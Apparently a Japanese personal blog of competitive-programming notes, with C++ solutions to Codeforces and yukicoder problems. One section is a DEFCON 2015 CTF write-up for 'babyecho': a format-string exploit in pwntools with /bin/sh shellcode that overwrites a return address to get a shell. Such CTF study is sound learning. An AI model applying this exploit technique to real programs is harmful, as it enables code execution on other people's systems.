srupのメモ帳

競プロで解いた問題や勉強したことを記録していくメモ帳

Codeforces 400 (Div. 1 + Div. 2, combined) B. Sherlock and his girlfriend

問題

問題概要

i番目のものをi+1として考えて, 色を塗っていく. 塗る色はその数の素因数と同じ色にしてはいけない. 塗る色の最小数を求める問題.

解法

その数しか素因数を持たない素数はすべて同じ色で塗ることが可能. そのようにすると, 素数でない数はすべてその数が持つ素因数が同じ色で塗られているので, その色以外の色で塗ることができる. つまり素数は色1, 素数でないものは色2で塗ることができる.
ただし, n = 1, 2の時は別でやる.

ミス

なし.

コード

#include <bits/stdc++.h>
using namespace std;
typedef long long ll;
typedef vector<int> vint;
typedef pair<int,int> pint;
typedef vector<pint> vpint;
#define rep(i,n) for(int i=0;i<(n);i++)
#define reps(i,f,n) for(int i=(f);i<(n);i++)
#define each(it,v) for(__typeof((v).begin()) it=(v).begin();it!=(v).end();it++)
#define all(v) (v).begin(),(v).end()
#define pb push_back
#define mp make_pair
#define fi first
#define se second
#define chmax(a, b) a = (((a)<(b)) ? (b) : (a))
#define chmin(a, b) a = (((a)>(b)) ? (b) : (a))
const int MOD = 1e9 + 7;
const int INF = 1e9;
const ll INFF = 1e18;


bool isprime[100100];
//エラトステネス
void eratos(int m){
    for (int i = 0; i <= m; ++i) isprime[i] = true;
    isprime[0] = isprime[1] = false;
    //iを残してiの倍数を消していく
    for (int i = 2; i <= m; ++i){
        if(isprime[i]){
            for (int j = 2 * i; j <= m; j += i){
                isprime[j] = false;
            }
        }
    }
}

int main(void){
    int n; cin >> n;
    if(n == 1){
        printf("1\n");
        printf("1\n");
        return 0;
    }else if(n == 2){
        printf("1\n");
        printf("1 1\n");
        return 0;
    }
    eratos(n + 10);
    printf("2\n");
    reps(i, 2, n + 2){
        if(isprime[i]){
            printf("1 ");
        }else{
            printf("2 ");
        }
    }
    printf("\n");
    return 0;
}

Codeforece 400 (Div. 1 + Div. 2, combined) A. A Serial Killer

問題

問題概要

文字列が2つ与えられる. ひとつの文字列を指定された文字列に置換する操作を行うクエリに応える.

解法

setで管理しながら, 置換される方をeraseして, 加える方をinsertしていけばいい.

ミス

なし.

コード

#include <bits/stdc++.h>
using namespace std;
typedef long long ll;
typedef vector<int> vint;
typedef pair<int,int> pint;
typedef vector<pint> vpint;
#define rep(i,n) for(int i=0;i<(n);i++)
#define reps(i,f,n) for(int i=(f);i<(n);i++)
#define each(it,v) for(__typeof((v).begin()) it=(v).begin();it!=(v).end();it++)
#define all(v) (v).begin(),(v).end()
#define pb push_back
#define mp make_pair
#define fi first
#define se second
#define chmax(a, b) a = (((a)<(b)) ? (b) : (a))
#define chmin(a, b) a = (((a)>(b)) ? (b) : (a))
const int MOD = 1e9 + 7;
const int INF = 1e9;
const ll INFF = 1e18;

int main(void){
    set<string> se;
    vector<string> ans;
    rep(i, 2){
        string t; cin >> t;
        se.insert(t);
        ans.pb(t);
    }
    int n; cin >> n;

    rep(i, n){
        string t1, t2; cin >> t1 >> t2;
        se.erase(t1);
        se.insert(t2);
        for(auto u : se){
            ans.pb(u);
        }
    }
    int cnt = 0;
    for(auto u : ans){
        if(cnt % 2 == 0) cout << u << " ";
        else cout << u << endl;
        cnt++;
    }
    return 0;
}

codeforces 401 div2 D. Cloud of Hashtags

問題

問題概要

与えられた文字列をすべて与えらた順番で辞書順にする. そのために各文字列から末尾の文字を好きなだけ取り除いていい. 取り除く文字の最小数を求める問題.

解法

一番後ろの文字はそのままにできることがわかるので, 後ろから順番に見ていき, 貪欲にできるだけ文字を残していけばいい. どこまで残すかの判定は, i番目とi+1番目の文字列を考えた時に, s[i][p] と s[i + 1][p] のようにiとi+1の文字列のp番目の文字を比較した時に, i番目の文字がi+1番目の文字以下である間は残して, 超えたらその文字より手前でi番目の文字列を切ればいい.

ミス

計算量大丈夫なんかな. resize便利

コード

#include <bits/stdc++.h>
using namespace std;
typedef long long ll;
typedef vector<int> vint;
typedef pair<int,int> pint;
typedef vector<pint> vpint;
#define rep(i,n) for(int i=0;i<(n);i++)
#define reps(i,f,n) for(int i=(f);i<(n);i++)
#define each(it,v) for(__typeof((v).begin()) it=(v).begin();it!=(v).end();it++)
#define all(v) (v).begin(),(v).end()
#define pb push_back
#define mp make_pair
#define fi first
#define se second
#define chmax(a, b) a = (((a)<(b)) ? (b) : (a))
#define chmin(a, b) a = (((a)>(b)) ? (b) : (a))
const int MOD = 1e9 + 7;
const int INF = 1e9;
const ll INFF = 1e18;


int n;
string s[500100];

int main(void){
    scanf("%d", &n);
    rep(i, n) cin >> s[i];
    for (int i = n - 2; i >= 0; --i){
        if(s[i] > s[i + 1]){ //変える必要あり
            int p = 0;
            while(p < s[i + 1].size() && p < s[i].size() && s[i][p] <= s[i + 1][p]) p++;
            s[i].resize(p);
        }
    }
    rep(i, n){
        printf("%s\n", s[i].c_str());
    }
    return 0;
}

codeforces 401 div2 B. Game of Credit Cards

問題

問題概要

数列a, bが与えられる. 数列bは好きな順番に変更することができる.
(1) a[i] > b[i] となる i の個数の最小数
(2) a[i] < b[i]となる i の個数の最大数
を求める問題

解法

2部マッチングの最大数を使ってとく.
数列bを任意の順番に動かすことができるので, (2)はa_i < b_j となるものすべてに辺をはって 2部マッチングの最大数を計算すればいい.
(1)はa[i] <= b[i]となる i の個数の最大数を求めることができれば解くことができるので, a_i <= b_j となるものすべてに辺をはって, 2部マッチングの最大値数を計算すればいい.
実装方法は最大流を求めるライブラリを使って, スタート地点とゴール地点を作ってやればいい.
また貪欲に得方法もある. (1)の場合, aの小さいところから貪欲にa<=bを満たすものの数をカウントしていけばいいし, (2)の場合, aの小さいところから貪欲にa<bをしていけばいい.

ミス

難しい.

コード

二部マッチング

#include <bits/stdc++.h>
using namespace std;
typedef long long ll;
typedef vector<int> vint;
typedef pair<int,int> pint;
typedef vector<pint> vpint;
#define rep(i,n) for(int i=0;i<(n);i++)
#define reps(i,f,n) for(int i=(f);i<(n);i++)
#define each(it,v) for(__typeof((v).begin()) it=(v).begin();it!=(v).end();it++)
#define all(v) (v).begin(),(v).end()
#define pb push_back
#define mp make_pair
#define fi first
#define se second
#define chmax(a, b) a = (((a)<(b)) ? (b) : (a))
#define chmin(a, b) a = (((a)>(b)) ? (b) : (a))
const int MOD = 1e9 + 7;
const int INF = 1e9;
const ll INFF = 1e18;

const int MAX_V = 2010; //必要な頂点数
struct Flow{
    struct edge{
        int to, cap, rev;
    };
    vector<edge> G[MAX_V];//隣接リスト
    bool used[MAX_V];
 
    void add_edge(int from, int to, int cap){
        G[from].push_back((edge){to, cap, (int)G[to].size()});//from -> to
        G[to].push_back((edge){from, 0, (int)G[from].size() - 1});//to -> from
    }
    //増加パスを探す
    int dfs(int v, int t, int f){
        if(v == t) return f;
        used[v] = true;
        for (int i = 0; i < G[v].size(); ++i){
            edge &e = G[v][i];
            if(!used[e.to] && e.cap > 0){
                int d = dfs(e.to, t, min(f, e.cap));
                if(d > 0){
                    e.cap -= d;
                    G[e.to][e.rev].cap += d;
                    return d;
                }
            }
        }
        return 0;
    }
    //sからtへの最大流
    int max_flow(int s, int t){
        int flow = 0;
        while(1){
            memset(used, 0, sizeof(used));
            int f = dfs(s, t, INF);
            if(f == 0) return flow;
            flow += f;
        }
    }
};

int n;
int main(void){
    int n; cin >> n;
    string a, b; cin >> a >> b;
    Flow fw1, fw2;
    // s -> a() -> b() -> t

    //s->a
    rep(i, a.size()){
        fw1.add_edge(n * 2, i, 1);
        fw2.add_edge(n * 2, i, 1);
    }
    //b->t
    rep(i, b.size()){
        fw1.add_edge(n + i, n * 2 + 1, 1);
        fw2.add_edge(n + i, n * 2 + 1, 1);
    }


    // a[k] <= b[k] の最大値を求める
    rep(i, a.size())rep(j, b.size()){
        if(a[i] <= b[j]) fw1.add_edge(i, n + j, 1);
    }
    //Bが勝てる最小数
    cout << n - fw1.max_flow(n * 2, n * 2 + 1) << endl;

    // a[k] <b[k] の最大値を求める
    rep(i, a.size())rep(j, b.size()){
        if(a[i] < b[j]) fw2.add_edge(i, n + j, 1);
    }
    //Aが勝てる回数の最大値
    cout << fw2.max_flow(n * 2, n * 2 + 1) << endl;
    return 0;
}

貪欲

#include <bits/stdc++.h>
using namespace std;
typedef long long ll;
typedef vector<int> vint;
typedef pair<int,int> pint;
typedef vector<pint> vpint;
#define rep(i,n) for(int i=0;i<(n);i++)
#define reps(i,f,n) for(int i=(f);i<(n);i++)
#define each(it,v) for(__typeof((v).begin()) it=(v).begin();it!=(v).end();it++)
#define all(v) (v).begin(),(v).end()
#define pb push_back
#define mp make_pair
#define fi first
#define se second
#define chmax(a, b) a = (((a)<(b)) ? (b) : (a))
#define chmin(a, b) a = (((a)>(b)) ? (b) : (a))
const int MOD = 1e9 + 7;
const int INF = 1e9;
const ll INFF = 1e18;

int n;
int main(void){
    int n; cin >> n;
    string a, b; cin >> a >> b;
    vector<int> va, vb;
    for(auto u : a) va.pb(u - '0');
    for(auto u : b)vb.pb(u - '0');
    sort(all(va)); sort(all(vb));

    //a[i] > b[i] の最小数 a[i] <= b[i]の最大数
    //aの小さいところから貪欲にa<=bをしていけばいい
    int ans1 = 0;
    int p = 0;
    rep(i, n){
        while(p < n && va[i] > vb[p])p++;
        if(p < n) ans1++, p++;
        if(p >= n) break;
    }
    cout << n - ans1 << endl; // 最小値に戻す

    // a[i] < b[i]の最大数
    //aの小さいところから貪欲にa<bをしていけばいい
    int ans2 = 0;
    p = 0;
    rep(i, n){
        while(p < n && va[i] >= vb[p]) p++;
        if(p < n) ans2++, p++;
        if(p >= n) break;
    }
    cout << ans2 << endl;
    return 0;
}

codeforces 401 div2 A. Shell Game

問題

問題概要

カップを3つ用意して, その中のどこかに玉をいれる. カップの番号を左から0, 1, 2としてn回動かす. その動かし方は, 奇数回の時は0と1を入れ替えて, 偶数回の時は1と2を入れ替える. n回入れ替えたあとの位置が与えられるので, はじめ何番目の位置に玉が入っていたかを求める問題.

解法

012
102
120
210
201
021
という順番で動きはじめの012に戻る. これは周期6で動くので, mod6の値を使って計算すればよい.

ミス

実験が大切.

コード

#include <bits/stdc++.h>
using namespace std;
typedef long long ll;
typedef vector<int> vint;
typedef pair<int,int> pint;
typedef vector<pint> vpint;
#define rep(i,n) for(int i=0;i<(n);i++)
#define reps(i,f,n) for(int i=(f);i<(n);i++)
#define each(it,v) for(__typeof((v).begin()) it=(v).begin();it!=(v).end();it++)
#define all(v) (v).begin(),(v).end()
#define pb push_back
#define mp make_pair
#define fi first
#define se second
#define chmax(a, b) a = (((a)<(b)) ? (b) : (a))
#define chmin(a, b) a = (((a)>(b)) ? (b) : (a))
const int MOD = 1e9 + 7;
const int INF = 1e9;
const ll INFF = 1e18;

int main(void){
    vector<vector<int>> v = {
        {0, 1, 2}, {1, 0, 2}, {1, 2, 0}, {2, 1, 0}, {2, 0, 1}, {0, 2, 1},
    };

    int n, x; cin >> n >> x;
    n %= 6;
    printf("%d\n", v[n][x]);
    return 0;
}

Defcon Quals 2015 : babyecho

問題

問題概要

明らかなfsbがある. さらにスタックが+xである. しかし文字数制限がある.

解法

 % file babyecho 
babyecho: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=c9a66685159ad72bd157b521f05a85e2e427f5ee, stripped

まず, stastically linked, strippedされているせいで, main関数の始まりがわからなかった. そこでradare2というのを使ってみた.

 % radare2 babyecho 
[0x08048d0a]> aa
[x] Analyze all flags starting with sym. and entry0 (aa)
[0x08048d0a]> afl
0x08048d0a    1 34           entry0
0x08048f3c    6 275          main
0x08049050   47 821  -> 814  fcn.08049050
[0x08048d0a]> s main
[0x08048f3c]> VV

上のようなコマンドでmainのアドレスが調べられて, ビジュアルでどのようなフローをしているから見られるようになる.
あとは, break *0x08048f3c としてgdbで調べていく.

0x8048fdb:  call   0x804f560 ; printf("Reading %d bytes\n", 0xd)
0x8048ff7:  call   0x8048e24 ; gets()
0x8049003:  call   0x8048ecf ; printf <- FSB

結果, 上のような関数が呼ばれていることがわかる.
call 0x8048ecf が行われた直後のstackの状態は,

0000| 0xffffcb20 --> 0xffffcb3c ("aaaa%x%x") ; バッファのアドレス
0004| 0xffffcb24 --> 0xd ('\r') ;  文字列の長さのコピー Reading %d bytes\nの引数としてコピーされていた
0008| 0xffffcb28 --> 0xa ('\n')
0012| 0xffffcb2c --> 0x0 
0016| 0xffffcb30 --> 0xd ('\r') ; 文字列の長さ
0020| 0xffffcb34 --> 0xffffcb3c ("aaaa%x%x") ; バッファのアドレス
0024| 0xffffcb38 --> 0x0 
0028| 0xffffcb3c ("aaaa%x%x") ; バッファ

のような形になっている. まず, 入力文字の長さを長くしようと考えたとき, 現段階での長さは13(0xd)なので, スタックに2つありどちらを変更すればよいのかがわからない. しかし, 下のような命令があり, アドレスが小さい方の0xdは多い方のアドレスの値をコピーしたものなので, 変更するべきはアドレスの大きなほうであると予想される?

0x8048fd0:  mov    DWORD PTR [esp+0x4],eax ;eax = 0xd

よってesp+0x10のアドレスをFSBで変更すれば良いのだが, stackのアドレスは実行環境で変わるのでまずstackのアドレスがわかるような値をleakしなければならない. スタックにはバッファのアドレスが入っている場所があるのでそれをleakすれば, espの値などもわかる. あとは%nを利用して文字列の長さを保存しているアドレスの値を書き換えれば良い. (13バイト指定があるので2回にわけないと大きな値に変更することができない.)
入力文字数の制限を変更したあとは, bufferに入れた, shellcodeを実行すればいいので, どこかでeipを奪えば良い.
call 0x8048ecf の関数が呼ばれた中でのret直前のスタックの様子は,

0000| 0xffffcb1c --> 0x8049008 (lea    eax,[esp+0x1c])
0004| 0xffffcb20 --> 0xffffcb3c ("aaaa")
0008| 0xffffcb24 --> 0xd ('\r')
0012| 0xffffcb28 --> 0xa ('\n')
0016| 0xffffcb2c --> 0x0 
0020| 0xffffcb30 --> 0xd ('\r')
0024| 0xffffcb34 --> 0xffffcb3c ("aaaa")
0028| 0xffffcb38 --> 0x0 

以上のようになっていて, 一番上にmainへの戻るためのeipが保存されているので, ここの値をbufferの先頭アドレス(shellcodeの先頭アドレス)に書き換えてやればshellcodeが実行される.

ミス

writeupを見た
参考サイト
https://kimiyuki.net/blog/2016/01/08/defcon-qualifier-ctf-2015-babyecho/ https://mzyy94.com/blog/2015/05/18/defcon-qual-23-writeup/
radare2の使い方
http://poppycompass.hatenablog.jp/entry/2016/10/26/164034

コード

# -*- coding: utf-8 -*-
from pwn import *

context.log_level = 'debug'

b = ELF("./babyecho")
p = process("./babyecho")

index = 7 #bufferまでのindex
shellcode = "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80" 

#バッファのアドレスを出力
payload1 = '';
payload1 += "%5$p"
p.recvuntil("bytes\n") #0xd byte
p.sendline(payload1)
addr_buf = int(p.recvline(keepends=False), 16)
addr_esp = addr_buf - 0x1c #4 * 7
log.info("addr_buf  %x", addr_buf)
log.info("addr_esp %x", addr_esp)


#sizeの書き換え 2回
addr_size = addr_esp + 0x10 
payload2 = ''
payload2 += p32(addr_size)
payload2 += "%%%dc%%%d$n" % (99, index)
p.recvuntil('bytes\n') #13 byte
p.sendline(payload2)

addr_size = addr_esp + 0x10 
payload2 = ''
payload2 += p32(addr_size)
payload2 += "%%%dc%%%d$n" % (999, index)
p.recvuntil('bytes\n') #103byte
p.sendline(payload2)

#shellcode実行
addr_ret = addr_esp - 0x4
payload3 = ""
payload3 += p32(addr_ret)
payload3 += p32(addr_ret + 1)
payload3 += p32(addr_ret + 2)
payload3 += p32(addr_ret + 3)
payload3 += shellcode
nagasa = len(payload3)

payload3 += "%%%dc%%%d$hhn" % ((u8(p32(addr_buf)[0:1]) - nagasa)                    % 256, index)
payload3 += "%%%dc%%%d$hhn" % ((u8(p32(addr_buf)[1:2]) - u8(p32(addr_buf)[0:1]))    % 256, index + 1)
payload3 += "%%%dc%%%d$hhn" % ((u8(p32(addr_buf)[2:3]) - u8(p32(addr_buf)[1:2]))    % 256, index + 2)
payload3 += "%%%dc%%%d$hhn" % ((u8(p32(addr_buf)[3:4]) - u8(p32(addr_buf)[2:3]))    % 256, index + 3)

p.recvuntil("bytes\n") #1003
p.sendline(payload3)

p.interactive()

yukicoder No.488 四角関係

問題

問題概要

ノード間のつながりが与えられる. 任意の4つのノードの組み合わせを考えて, その4つのノード間のつながりだけを考えたときに四角形となっている組み合わせがいくつあるか.

解法

n=50なので, すべての任意の4つの組み合わせの総数nC4を全部計算しても間に合う.
4つのノードが四角形になるかを確かめる方法は, 四角形になるとき, その4頂点すべてはほかの3頂点のうちの2つとつながっている. G[i][j] := 1ならi-j間に辺があり, 0ならi-j間に辺はない
という配列Gを使って計算すればいい.

ミス

すぐに思いつきたい.

コード

#include <bits/stdc++.h>
using namespace std;
typedef long long ll;
typedef vector<int> vint;
typedef pair<int,int> pint;
typedef vector<pint> vpint;
#define rep(i,n) for(int i=0;i<(n);i++)
#define reps(i,f,n) for(int i=(f);i<(n);i++)
#define each(it,v) for(__typeof((v).begin()) it=(v).begin();it!=(v).end();it++)
#define all(v) (v).begin(),(v).end()
#define pb push_back
#define mp make_pair
#define fi first
#define se second
#define chmax(a, b) a = (((a)<(b)) ? (b) : (a))
#define chmin(a, b) a = (((a)>(b)) ? (b) : (a))
const int MOD = 1e9 + 7;
const int INF = 1e9;
const ll INFF = 1e18;

int G[55][55];
int n, m;
int main(void){
    cin >> n >> m;
    rep(i, m){
        int a, b; cin >> a >> b;
        G[a][b] = G[b][a] = 1;
    }
    int cnt = 0;
    rep(i, n)reps(j, i + 1, n)reps(k, j + 1, n)reps(l, k + 1, n){
        int d1 = G[i][j] + G[i][k] + G[i][l];
        int d2 = G[j][i] + G[j][k] + G[j][l];
        int d3 = G[k][i] + G[k][j] + G[k][l];
        int d4 = G[l][i] + G[l][j] + G[l][k];
        if(d1 == 2 && d2 == 2 && d3 == 2 && d4 == 2) cnt++;
    }

    printf("%d\n", cnt);
    return 0;
}